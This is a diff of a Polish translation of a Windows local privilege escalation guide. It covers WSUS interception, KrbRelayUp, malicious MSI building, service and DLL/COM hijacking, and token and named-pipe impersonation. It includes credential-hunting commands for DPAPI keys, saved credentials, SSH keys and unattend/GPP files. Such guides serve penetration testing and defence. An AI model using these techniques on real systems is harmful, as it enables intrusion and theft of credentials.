Aby wykorzystać te luki, możesz użyć narzędzi takich jak: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - są to zbrojne skrypty exploitów MiTM do wstrzykiwania 'fałszywych' aktualizacji do ruchu WSUS bez SSL.
|
||||
Aby wykorzystać te luki, możesz użyć narzędzi takich jak: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - są to zbrojone skrypty exploitów MiTM do wstrzykiwania 'fałszywych' aktualizacji do ruchu WSUS bez SSL.
|
||||
|
||||
Przeczytaj badania tutaj:
|
||||
|
||||
{% file src="../../images/CTX_WSUSpect_White_Paper (1).pdf" %}
|
||||
{{#file}}
|
||||
CTX_WSUSpect_White_Paper (1).pdf
|
||||
{{#endfile}}
|
||||
|
||||
**WSUS CVE-2020-1013**
|
||||
|
||||
[**Przeczytaj pełny raport tutaj**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\
|
||||
Zasadniczo, to jest wada, którą wykorzystuje ten błąd:
|
||||
|
||||
> Jeśli mamy możliwość modyfikacji naszego lokalnego proxy użytkownika, a Windows Update używa proxy skonfigurowanego w ustawieniach Internet Explorera, to mamy możliwość uruchomienia [PyWSUS](https://github.com/GoSecure/pywsus) lokalnie, aby przechwycić nasz własny ruch i uruchomić kod jako podwyższony użytkownik na naszym zasobie.
|
||||
> Jeśli mamy możliwość modyfikacji naszego lokalnego proxy użytkownika, a Windows Update używa proxy skonfigurowanego w ustawieniach Internet Explorera, to mamy zatem możliwość uruchomienia [PyWSUS](https://github.com/GoSecure/pywsus) lokalnie, aby przechwycić nasz własny ruch i uruchomić kod jako podwyższony użytkownik na naszym zasobie.
|
||||
>
|
||||
> Ponadto, ponieważ usługa WSUS używa ustawień bieżącego użytkownika, będzie również korzystać z jego magazynu certyfikatów. Jeśli wygenerujemy certyfikat samopodpisany dla nazwy hosta WSUS i dodamy ten certyfikat do magazynu certyfikatów bieżącego użytkownika, będziemy mogli przechwycić zarówno ruch WSUS HTTP, jak i HTTPS. WSUS nie używa mechanizmów podobnych do HSTS, aby wdrożyć walidację typu trust-on-first-use na certyfikacie. Jeśli przedstawiony certyfikat jest zaufany przez użytkownika i ma poprawną nazwę hosta, zostanie zaakceptowany przez usługę.
|
||||
> Ponadto, ponieważ usługa WSUS używa ustawień bieżącego użytkownika, będzie również korzystać z jego magazynu certyfikatów. Jeśli wygenerujemy certyfikat samopodpisany dla nazwy hosta WSUS i dodamy ten certyfikat do magazynu certyfikatów bieżącego użytkownika, będziemy w stanie przechwycić zarówno ruch WSUS HTTP, jak i HTTPS. WSUS nie używa mechanizmów podobnych do HSTS, aby wdrożyć walidację typu trust-on-first-use na certyfikacie. Jeśli przedstawiony certyfikat jest zaufany przez użytkownika i ma poprawną nazwę hosta, zostanie zaakceptowany przez usługę.
|
||||
|
||||
Możesz wykorzystać tę lukę, używając narzędzia [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (gdy zostanie uwolnione).
|
||||
|
||||
## KrbRelayUp
|
||||
|
||||
Luka **w podwyższaniu uprawnień lokalnych** istnieje w środowiskach **domenowych** Windows w określonych warunkach. Warunki te obejmują środowiska, w których **podpisywanie LDAP nie jest wymuszane,** użytkownicy mają prawa do samodzielnego konfigurowania **Resource-Based Constrained Delegation (RBCD)** oraz możliwość tworzenia komputerów w domenie. Ważne jest, aby zauważyć, że te **wymagania** są spełnione przy użyciu **domyślnych ustawień**.
|
||||
Luka **w podwyższaniu uprawnień lokalnych** istnieje w środowiskach **domenowych** Windows w określonych warunkach. Warunki te obejmują środowiska, w których **podpisywanie LDAP nie jest wymuszane,** użytkownicy posiadają prawa do samodzielnej konfiguracji **Resource-Based Constrained Delegation (RBCD)** oraz możliwość tworzenia komputerów w domenie. Ważne jest, aby zauważyć, że te **wymagania** są spełnione przy użyciu **ustawień domyślnych**.
|
||||
|
||||
Znajdź **exploit w** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp)
|
||||
|
||||
@ -234,7 +236,7 @@ create-msi-with-wix.md
|
||||
- Otwórz **Visual Studio**, wybierz **Utwórz nowy projekt** i wpisz "installer" w polu wyszukiwania. Wybierz projekt **Setup Wizard** i kliknij **Dalej**.
|
||||
- Nadaj projektowi nazwę, na przykład **AlwaysPrivesc**, użyj **`C:\privesc`** jako lokalizacji, wybierz **umieść rozwiązanie i projekt w tym samym katalogu**, a następnie kliknij **Utwórz**.
|
||||
- Klikaj **Dalej**, aż dojdziesz do kroku 3 z 4 (wybierz pliki do dołączenia). Kliknij **Dodaj** i wybierz ładunek Beacon, który właśnie wygenerowałeś. Następnie kliknij **Zakończ**.
|
||||
- Zaznacz projekt **AlwaysPrivesc** w **Eksploratorze rozwiązań** i w **Właściwościach** zmień **TargetPlatform** z **x86** na **x64**.
|
||||
- Podświetl projekt **AlwaysPrivesc** w **Eksploratorze rozwiązań** i w **Właściwościach** zmień **TargetPlatform** z **x86** na **x64**.
|
||||
- Istnieją inne właściwości, które możesz zmienić, takie jak **Autor** i **Producent**, co może sprawić, że zainstalowana aplikacja będzie wyglądać bardziej wiarygodnie.
|
||||
- Kliknij prawym przyciskiem myszy na projekt i wybierz **Widok > Akcje niestandardowe**.
|
||||
- Kliknij prawym przyciskiem myszy **Instaluj** i wybierz **Dodaj akcję niestandardową**.
|
||||
@ -267,7 +269,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs
|
||||
```
|
||||
### LAPS
|
||||
|
||||
**LAPS** jest zaprojektowany do **zarządzania lokalnymi hasłami Administratora**, zapewniając, że każde hasło jest **unikalne, losowe i regularnie aktualizowane** na komputerach dołączonych do domeny. Te hasła są bezpiecznie przechowywane w Active Directory i mogą być dostępne tylko dla użytkowników, którzy otrzymali wystarczające uprawnienia przez ACL, co pozwala im na przeglądanie lokalnych haseł administratora, jeśli są upoważnieni.
|
||||
**LAPS** jest zaprojektowany do **zarządzania lokalnymi hasłami Administratora**, zapewniając, że każde hasło jest **unikalne, losowe i regularnie aktualizowane** na komputerach dołączonych do domeny. Te hasła są bezpiecznie przechowywane w Active Directory i mogą być dostępne tylko dla użytkowników, którzy otrzymali wystarczające uprawnienia przez ACL, co pozwala im na przeglądanie lokalnych haseł administratora, jeśli są do tego upoważnieni.
|
||||
|
||||
{{#ref}}
|
||||
../active-directory-methodology/laps.md
|
||||
@ -289,7 +291,7 @@ reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
|
||||
```
|
||||
### Credentials Guard
|
||||
|
||||
**Credential Guard** został wprowadzony w **Windows 10**. Jego celem jest ochrona poświadczeń przechowywanych na urządzeniu przed zagrożeniami takimi jak ataki pass-the-hash.| [**Więcej informacji o Credentials Guard tutaj.**](../stealing-credentials/credentials-protections.md#credential-guard)
|
||||
**Credential Guard** został wprowadzony w **Windows 10**. Jego celem jest ochrona poświadczeń przechowywanych na urządzeniu przed zagrożeniami takimi jak ataki pass-the-hash. | [**Więcej informacji o Credentials Guard tutaj.**](../stealing-credentials/credentials-protections.md#credential-guard)
|
||||
```bash
|
||||
reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
|
||||
```
|
||||
@ -321,7 +323,7 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource
|
||||
```
|
||||
### Grupy uprzywilejowane
|
||||
|
||||
Jeśli **należysz do jakiejś grupy uprzywilejowanej, możesz być w stanie podnieść uprawnienia**. Dowiedz się o grupach uprzywilejowanych i jak je wykorzystać do podniesienia uprawnień tutaj:
|
||||
Jeśli **należysz do jakiejś grupy uprzywilejowanej, możesz być w stanie podnieść uprawnienia**. Dowiedz się o grupach uprzywilejowanych i jak je wykorzystywać do podnoszenia uprawnień tutaj:
|
||||
|
||||
{{#ref}}
|
||||
../active-directory-methodology/privileged-groups-and-token-privileges.md
|
||||
@ -330,7 +332,7 @@ Jeśli **należysz do jakiejś grupy uprzywilejowanej, możesz być w stanie pod
|
||||
### Manipulacja tokenami
|
||||
|
||||
**Dowiedz się więcej** o tym, czym jest **token** na tej stronie: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\
|
||||
Sprawdź następującą stronę, aby **dowiedzieć się o interesujących tokenach** i jak je wykorzystać:
|
||||
Sprawdź następującą stronę, aby **dowiedzieć się o interesujących tokenach** i jak je wykorzystywać:
|
||||
|
||||
{{#ref}}
|
||||
privilege-escalation-abusing-tokens.md
|
||||
@ -372,7 +374,7 @@ Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
|
||||
```
|
||||
Zawsze sprawdzaj, czy działają możliwe [**debuggery electron/cef/chromium**; możesz je wykorzystać do eskalacji uprawnień](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md).
|
||||
|
||||
**Sprawdzanie uprawnień binariów procesów**
|
||||
**Sprawdzanie uprawnień binarnych procesów**
|
||||
```bash
|
||||
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
|
||||
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
|
||||
@ -395,15 +397,15 @@ Możesz utworzyć zrzut pamięci działającego procesu za pomocą **procdump**
|
||||
```bash
|
||||
procdump.exe -accepteula -ma <proc_name_tasklist>
|
||||
```
|
||||
### Niebezpieczne aplikacje GUI
|
||||
### Insecure GUI apps
|
||||
|
||||
**Aplikacje działające jako SYSTEM mogą umożliwić użytkownikowi uruchomienie CMD lub przeglądanie katalogów.**
|
||||
|
||||
Przykład: "Pomoc i wsparcie systemu Windows" (Windows + F1), wyszukaj "wiersz polecenia", kliknij "Kliknij, aby otworzyć Wiersz polecenia"
|
||||
|
||||
## Usługi
|
||||
## Services
|
||||
|
||||
Uzyskaj listę usług:
|
||||
Get a list of services:
|
||||
```bash
|
||||
net start
|
||||
wmic service list brief
|
||||
@ -447,7 +449,7 @@ sc config SSDPSRV obj= ".\LocalSystem" password= ""
|
||||
```
|
||||
sc.exe config usosvc start= auto
|
||||
```
|
||||
### **Zmodyfikuj ścieżkę binarną usługi**
|
||||
### **Zmień ścieżkę binarną usługi**
|
||||
|
||||
W scenariuszu, w którym grupa "Użytkownicy uwierzytelnieni" posiada **SERVICE_ALL_ACCESS** do usługi, modyfikacja binarnego pliku wykonywalnego usługi jest możliwa. Aby zmodyfikować i wykonać **sc**:
|
||||
```bash
|
||||
@ -566,7 +568,7 @@ Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
|
||||
```
|
||||
### Uprawnienia do zapisu
|
||||
|
||||
Sprawdź, czy możesz zmodyfikować jakiś plik konfiguracyjny, aby odczytać jakiś specjalny plik, lub czy możesz zmodyfikować jakiś binarny plik, który będzie wykonywany przez konto Administratora (schedtasks).
|
||||
Sprawdź, czy możesz zmodyfikować jakiś plik konfiguracyjny, aby odczytać jakiś specjalny plik, lub czy możesz zmodyfikować jakiś plik binarny, który będzie wykonywany przez konto Administratora (schedtasks).
|
||||
|
||||
Sposobem na znalezienie słabych uprawnień do folderów/plików w systemie jest wykonanie:
|
||||
```bash
|
||||
@ -602,7 +604,7 @@ privilege-escalation-with-autorun-binaries.md
|
||||
|
||||
### Sterowniki
|
||||
|
||||
Szukaj możliwych **dziwnych/wrażliwych** sterowników od **stron trzecich**.
|
||||
Szukaj możliwych **dziwnych/wrażliwych** sterowników od **trzecich stron**.
|
||||
```bash
|
||||
driverquery
|
||||
driverquery.exe /fo table
|
||||
@ -612,7 +614,7 @@ driverquery /SI
|
||||
|
||||
Jeśli masz **uprawnienia do zapisu w folderze znajdującym się na PATH**, możesz być w stanie przejąć DLL ładowany przez proces i **eskalować uprawnienia**.
|
||||
|
||||
Sprawdź uprawnienia wszystkich folderów znajdujących się na PATH:
|
||||
Sprawdź uprawnienia wszystkich folderów w PATH:
|
||||
```bash
|
||||
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
|
||||
```
|
||||
@ -662,7 +664,7 @@ Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
|
||||
```
|
||||
### Zasady zapory
|
||||
|
||||
[**Sprawdź tę stronę, aby uzyskać polecenia związane z zaporą**](../basic-cmd-for-pentesters.md#firewall) **(lista zasad, tworzenie zasad, wyłączanie, wyłączanie...)**
|
||||
[**Sprawdź tę stronę pod kątem poleceń związanych z zaporą**](../basic-cmd-for-pentesters.md#firewall) **(lista zasad, tworzenie zasad, wyłączanie, wyłączanie...)**
|
||||
|
||||
Więcej[ poleceń do enumeracji sieci tutaj](../basic-cmd-for-pentesters.md#network)
|
||||
|
||||
@ -673,7 +675,7 @@ C:\Windows\System32\wsl.exe
|
||||
```
|
||||
Binary `bash.exe` można również znaleźć w `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe`
|
||||
|
||||
Jeśli uzyskasz dostęp do użytkownika root, możesz nasłuchiwać na dowolnym porcie (za pierwszym razem, gdy użyjesz `nc.exe` do nasłuchiwania na porcie, zapyta przez GUI, czy `nc` powinien być dozwolony przez zaporę).
|
||||
Jeśli uzyskasz dostęp do użytkownika root, możesz nasłuchiwać na dowolnym porcie (za pierwszym razem, gdy użyjesz `nc.exe` do nasłuchiwania na porcie, zapyta za pomocą GUI, czy `nc` powinien być dozwolony przez zaporę).
|
||||
```bash
|
||||
wsl whoami
|
||||
./ubuntun1604.exe config --default-user root
|
||||
@ -705,7 +707,7 @@ Skarbiec Windows przechowuje poświadczenia użytkowników dla serwerów, stron
|
||||
|
||||
Skarbiec Windows przechowuje poświadczenia, które Windows może automatycznie logować użytkowników, co oznacza, że każda **aplikacja Windows, która potrzebuje poświadczeń do uzyskania dostępu do zasobu** (serwera lub strony internetowej) **może korzystać z tego Menedżera poświadczeń** i Skarbca Windows oraz używać dostarczonych poświadczeń zamiast użytkowników wprowadzać nazwę użytkownika i hasło za każdym razem.
|
||||
|
||||
O ile aplikacje nie współdziałają z Menedżerem poświadczeń, nie sądzę, aby mogły używać poświadczeń dla danego zasobu. Dlatego, jeśli Twoja aplikacja chce korzystać ze skarbca, powinna w jakiś sposób **komunikować się z menedżerem poświadczeń i żądać poświadczeń dla tego zasobu** z domyślnego skarbca.
|
||||
O ile aplikacje nie współdziałają z Menedżerem poświadczeń, nie sądzę, aby mogły używać poświadczeń dla danego zasobu. Dlatego, jeśli twoja aplikacja chce korzystać ze skarbca, powinna w jakiś sposób **komunikować się z menedżerem poświadczeń i żądać poświadczeń dla tego zasobu** z domyślnego skarbca.
|
||||
|
||||
Użyj `cmdkey`, aby wyświetlić zapisane poświadczenia na maszynie.
|
||||
```bash
|
||||
@ -731,14 +733,14 @@ Zauważ, że mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/uti
|
||||
|
||||
**DPAPI umożliwia szyfrowanie kluczy za pomocą klucza symetrycznego, który jest pochodną sekretów logowania użytkownika**. W scenariuszach związanych z szyfrowaniem systemu wykorzystuje sekrety uwierzytelniania domeny systemu.
|
||||
|
||||
Szyfrowane klucze RSA użytkownika, przy użyciu DPAPI, są przechowywane w katalogu `%APPDATA%\Microsoft\Protect\{SID}`, gdzie `{SID}` reprezentuje [Identifikator bezpieczeństwa](https://en.wikipedia.org/wiki/Security_Identifier) użytkownika. **Klucz DPAPI, współlokalizowany z kluczem głównym, który chroni prywatne klucze użytkownika w tym samym pliku**, zazwyczaj składa się z 64 bajtów losowych danych. (Ważne jest, aby zauważyć, że dostęp do tego katalogu jest ograniczony, co uniemożliwia wyświetlenie jego zawartości za pomocą polecenia `dir` w CMD, chociaż można go wyświetlić za pomocą PowerShell).
|
||||
Szyfrowane klucze RSA użytkownika, przy użyciu DPAPI, są przechowywane w katalogu `%APPDATA%\Microsoft\Protect\{SID}`, gdzie `{SID}` reprezentuje [Identifikator bezpieczeństwa](https://en.wikipedia.org/wiki/Security_Identifier) użytkownika. **Klucz DPAPI, współlokowany z kluczem głównym, który chroni prywatne klucze użytkownika w tym samym pliku**, zazwyczaj składa się z 64 bajtów losowych danych. (Ważne jest, aby zauważyć, że dostęp do tego katalogu jest ograniczony, co uniemożliwia wyświetlenie jego zawartości za pomocą polecenia `dir` w CMD, chociaż można go wyświetlić za pomocą PowerShell).
|
||||
```powershell
|
||||
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
|
||||
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
|
||||
```
|
||||
Możesz użyć **mimikatz module** `dpapi::masterkey` z odpowiednimi argumentami (`/pvk` lub `/rpc`), aby go odszyfrować.
|
||||
Możesz użyć **mimikatz module** `dpapi::masterkey` z odpowiednimi argumentami (`/pvk` lub `/rpc`), aby to odszyfrować.
|
||||
|
||||
**Pliki poświadczeń chronione hasłem głównym** zazwyczaj znajdują się w:
|
||||
Pliki **poświadczeń chronione hasłem głównym** zazwyczaj znajdują się w:
|
||||
```powershell
|
||||
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
|
||||
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
|
||||
@ -907,9 +909,9 @@ Prywatne klucze SSH mogą być przechowywane w kluczu rejestru `HKCU\Software\Op
|
||||
reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
|
||||
```
|
||||
Jeśli znajdziesz jakikolwiek wpis w tym katalogu, prawdopodobnie będzie to zapisany klucz SSH. Jest on przechowywany w formie zaszyfrowanej, ale można go łatwo odszyfrować za pomocą [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\
|
||||
Więcej informacji na temat tej techniki znajdziesz tutaj: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
|
||||
Więcej informacji na temat tej techniki tutaj: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
|
||||
|
||||
Jeśli usługa `ssh-agent` nie jest uruchomiona i chcesz, aby uruchamiała się automatycznie przy starcie, uruchom:
|
||||
Jeśli usługa `ssh-agent` nie działa i chcesz, aby uruchamiała się automatycznie przy starcie, uruchom:
|
||||
```bash
|
||||
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
|
||||
```
|
||||
@ -932,8 +934,6 @@ C:\unattend.inf
|
||||
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
|
||||
```
|
||||
Możesz również wyszukiwać te pliki za pomocą **metasploit**: _post/windows/gather/enum_unattend_
|
||||
|
||||
Przykładowa zawartość:
|
||||
```xml
|
||||
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
|
||||
<AutoLogon>
|
||||
@ -980,7 +980,7 @@ Szukaj pliku o nazwie **SiteList.xml**
|
||||
|
||||
Funkcja, która wcześniej była dostępna, pozwalała na wdrażanie niestandardowych lokalnych kont administratorów na grupie maszyn za pomocą Preferencji Zasad Grupy (GPP). Jednak ta metoda miała znaczące luki w zabezpieczeniach. Po pierwsze, Obiekty Zasad Grupy (GPO), przechowywane jako pliki XML w SYSVOL, mogły być dostępne dla każdego użytkownika domeny. Po drugie, hasła w tych GPP, szyfrowane za pomocą AES256 przy użyciu publicznie udokumentowanego domyślnego klucza, mogły być odszyfrowane przez każdego uwierzytelnionego użytkownika. Stanowiło to poważne ryzyko, ponieważ mogło pozwolić użytkownikom na uzyskanie podwyższonych uprawnień.
|
||||
|
||||
Aby złagodzić to ryzyko, opracowano funkcję skanującą lokalnie pamiętane pliki GPP zawierające pole "cpassword", które nie jest puste. Po znalezieniu takiego pliku, funkcja odszyfrowuje hasło i zwraca niestandardowy obiekt PowerShell. Obiekt ten zawiera szczegóły dotyczące GPP oraz lokalizację pliku, co ułatwia identyfikację i usunięcie tej luki w zabezpieczeniach.
|
||||
Aby złagodzić to ryzyko, opracowano funkcję skanującą lokalnie pamiętane pliki GPP zawierające pole "cpassword", które nie jest puste. Po znalezieniu takiego pliku, funkcja odszyfrowuje hasło i zwraca niestandardowy obiekt PowerShell. Obiekt ten zawiera szczegóły dotyczące GPP oraz lokalizację pliku, co pomaga w identyfikacji i usuwaniu tej luki w zabezpieczeniach.
|
||||
|
||||
Szukaj w `C:\ProgramData\Microsoft\Group Policy\history` lub w _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (przed W Vista)_ tych plików:
|
||||
|
||||
@ -1168,17 +1168,17 @@ Narzędzia do ekstrakcji haseł z przeglądarek:
|
||||
|
||||
### **Nadpisywanie DLL COM**
|
||||
|
||||
**Model obiektów komponentów (COM)** to technologia wbudowana w system operacyjny Windows, która umożliwia **komunikację** między komponentami oprogramowania różnych języków. Każdy komponent COM jest **identyfikowany za pomocą identyfikatora klasy (CLSID)**, a każdy komponent udostępnia funkcjonalność za pomocą jednego lub więcej interfejsów, identyfikowanych za pomocą identyfikatorów interfejsów (IIDs).
|
||||
**Model Obiektów Komponentów (COM)** to technologia wbudowana w system operacyjny Windows, która umożliwia **komunikację** między komponentami oprogramowania różnych języków. Każdy komponent COM jest **identyfikowany za pomocą identyfikatora klasy (CLSID)**, a każdy komponent udostępnia funkcjonalność za pomocą jednego lub więcej interfejsów, identyfikowanych za pomocą identyfikatorów interfejsów (IIDs).
|
||||
|
||||
Klasy i interfejsy COM są definiowane w rejestrze pod **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** oraz **HKEY\_**_**CLASSES\_**_**ROOT\Interface** odpowiednio. Ten rejestr jest tworzony przez połączenie **HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT.**
|
||||
|
||||
Wewnątrz CLSID-ów tego rejestru możesz znaleźć podrzędny rejestr **InProcServer32**, który zawiera **wartość domyślną** wskazującą na **DLL** oraz wartość o nazwie **ThreadingModel**, która może być **Apartment** (jednowątkowy), **Free** (wielowątkowy), **Both** (jedno- lub wielowątkowy) lub **Neutral** (neutralny wątek).
|
||||
Wewnątrz CLSID-ów tego rejestru możesz znaleźć podrzędny rejestr **InProcServer32**, który zawiera **wartość domyślną** wskazującą na **DLL** oraz wartość o nazwie **ThreadingModel**, która może być **Apartment** (Jednowątkowy), **Free** (Wielowątkowy), **Both** (Jedno- lub wielowątkowy) lub **Neutral** (Neutralny wątek).
|
||||
|
||||
.png>)
|
||||
|
||||
W zasadzie, jeśli możesz **nadpisać dowolne z DLL**, które mają być wykonane, możesz **eskalować uprawnienia**, jeśli ta DLL ma być wykonana przez innego użytkownika.
|
||||
|
||||
Aby dowiedzieć się, jak atakujący wykorzystują przejęcie COM jako mechanizm utrzymywania, sprawdź:
|
||||
Aby dowiedzieć się, jak atakujący wykorzystują COM Hijacking jako mechanizm utrzymywania dostępu, sprawdź:
|
||||
|
||||
{{#ref}}
|
||||
com-hijacking.md
|
||||
@ -1221,7 +1221,7 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
|
||||
## Leaked Handlers
|
||||
|
||||
Wyobraź sobie, że **proces działający jako SYSTEM otwiera nowy proces** (`OpenProcess()`) z **pełnym dostępem**. Ten sam proces **tworzy również nowy proces** (`CreateProcess()`) **z niskimi uprawnieniami, ale dziedziczy wszystkie otwarte uchwyty głównego procesu**.\
|
||||
Jeśli masz **pełny dostęp do procesu o niskich uprawnieniach**, możesz przechwycić **otwarty uchwyt do procesu z uprawnieniami**, który został utworzony za pomocą `OpenProcess()` i **wstrzyknąć shellcode**.\
|
||||
Jeśli masz **pełny dostęp do procesu z niskimi uprawnieniami**, możesz przejąć **otwarty uchwyt do procesu z uprawnieniami**, który został utworzony za pomocą `OpenProcess()` i **wstrzyknąć shellcode**.\
|
||||
[Przeczytaj ten przykład, aby uzyskać więcej informacji na temat **jak wykrywać i wykorzystywać tę lukę**.](leaked-handle-exploitation.md)\
|
||||
[Przeczytaj ten **inny post, aby uzyskać bardziej szczegółowe wyjaśnienie, jak testować i nadużywać więcej otwartych uchwytów procesów i wątków dziedziczonych z różnymi poziomami uprawnień (nie tylko pełnym dostępem)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/).
|
||||
|
||||
@ -1231,7 +1231,7 @@ Segmenty pamięci współdzielonej, określane jako **rury**, umożliwiają komu
|
||||
|
||||
Windows oferuje funkcję zwaną **Named Pipes**, która pozwala niepowiązanym procesom dzielić się danymi, nawet przez różne sieci. Przypomina to architekturę klient/serwer, z rolami zdefiniowanymi jako **serwer rury nazwanej** i **klient rury nazwanej**.
|
||||
|
||||
Gdy dane są wysyłane przez rurę przez **klienta**, **serwer**, który skonfigurował rurę, ma możliwość **przyjęcia tożsamości** **klienta**, zakładając, że ma niezbędne prawa **SeImpersonate**. Identyfikacja **uprzywilejowanego procesu**, który komunikuje się przez rurę, którego możesz naśladować, stwarza możliwość **uzyskania wyższych uprawnień** poprzez przyjęcie tożsamości tego procesu, gdy tylko wchodzi w interakcję z rurą, którą utworzyłeś. Instrukcje dotyczące przeprowadzenia takiego ataku można znaleźć w pomocnych przewodnikach [**tutaj**](named-pipe-client-impersonation.md) i [**tutaj**](#from-high-integrity-to-system).
|
||||
Gdy dane są wysyłane przez rurę przez **klienta**, **serwer**, który skonfigurował rurę, ma możliwość **przyjęcia tożsamości** **klienta**, zakładając, że ma niezbędne prawa **SeImpersonate**. Identyfikacja **uprzywilejowanego procesu**, który komunikuje się przez rurę, którego możesz naśladować, stwarza możliwość **uzyskania wyższych uprawnień** poprzez przyjęcie tożsamości tego procesu, gdy tylko wchodzi w interakcję z rurą, którą utworzyłeś. W celu uzyskania instrukcji dotyczących przeprowadzenia takiego ataku, pomocne przewodniki można znaleźć [**tutaj**](named-pipe-client-impersonation.md) i [**tutaj**](#from-high-integrity-to-system).
|
||||
|
||||
Następujące narzędzie umożliwia **przechwycenie komunikacji rury nazwanej za pomocą narzędzia takiego jak burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **a to narzędzie pozwala na wylistowanie i zobaczenie wszystkich rur w celu znalezienia privesc** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
|
||||
|
||||
@ -1239,7 +1239,7 @@ Następujące narzędzie umożliwia **przechwycenie komunikacji rury nazwanej za
|
||||
|
||||
### **Monitoring Command Lines for passwords**
|
||||
|
||||
Podczas uzyskiwania powłoki jako użytkownik mogą być zaplanowane zadania lub inne procesy, które **przekazują dane uwierzytelniające w wierszu poleceń**. Poniższy skrypt przechwytuje wiersze poleceń procesów co dwie sekundy i porównuje bieżący stan z poprzednim stanem, wypisując wszelkie różnice.
|
||||
Podczas uzyskiwania powłoki jako użytkownik, mogą być zaplanowane zadania lub inne procesy, które **przekazują dane uwierzytelniające w wierszu poleceń**. Poniższy skrypt przechwytuje wiersze poleceń procesów co dwie sekundy i porównuje bieżący stan z poprzednim stanem, wypisując wszelkie różnice.
|
||||
```powershell
|
||||
while($true)
|
||||
{
|
||||
@ -1335,19 +1335,19 @@ Z procesu o wysokiej integralności możesz spróbować **włączyć wpisy rejes
|
||||
|
||||
### Z SeDebug + SeImpersonate do pełnych uprawnień tokena
|
||||
|
||||
Jeśli masz te uprawnienia tokena (prawdopodobnie znajdziesz to w już istniejącym procesie o wysokiej integralności), będziesz w stanie **otworzyć prawie każdy proces** (niechronione procesy) z uprawnieniami SeDebug, **skopiować token** procesu i stworzyć **dowolny proces z tym tokenem**.\
|
||||
Używając tej techniki zazwyczaj **wybiera się dowolny proces działający jako SYSTEM z wszystkimi uprawnieniami tokena** (_tak, możesz znaleźć procesy SYSTEM bez wszystkich uprawnień tokena_).\
|
||||
Jeśli masz te uprawnienia tokena (prawdopodobnie znajdziesz to w już istniejącym procesie o wysokiej integralności), będziesz mógł **otworzyć prawie każdy proces** (niechronione procesy) z uprawnieniami SeDebug, **skopiować token** procesu i stworzyć **dowolny proces z tym tokenem**.\
|
||||
Używając tej techniki zazwyczaj **wybiera się dowolny proces działający jako SYSTEM ze wszystkimi uprawnieniami tokena** (_tak, możesz znaleźć procesy SYSTEM bez wszystkich uprawnień tokena_).\
|
||||
**Możesz znaleźć** [**przykład kodu wykonującego proponowaną technikę tutaj**](sedebug-+-seimpersonate-copy-token.md)**.**
|
||||
|
||||
### **Named Pipes**
|
||||
|
||||
Ta technika jest używana przez meterpreter do eskalacji w `getsystem`. Technika polega na **utworzeniu rury, a następnie utworzeniu/wykorzystaniu usługi do pisania na tej rurze**. Następnie **serwer**, który utworzył rurę używając uprawnienia **`SeImpersonate`**, będzie w stanie **podrobić token** klienta rury (usługę) uzyskując uprawnienia SYSTEM.\
|
||||
Ta technika jest używana przez meterpreter do eskalacji w `getsystem`. Technika polega na **utworzeniu rury, a następnie utworzeniu/wykorzystaniu usługi do pisania na tej rurze**. Następnie **serwer**, który utworzył rurę używając uprawnienia **`SeImpersonate`**, będzie mógł **imitować token** klienta rury (usługi), uzyskując uprawnienia SYSTEM.\
|
||||
Jeśli chcesz [**dowiedzieć się więcej o nazwanych rurach, powinieneś to przeczytać**](#named-pipe-client-impersonation).\
|
||||
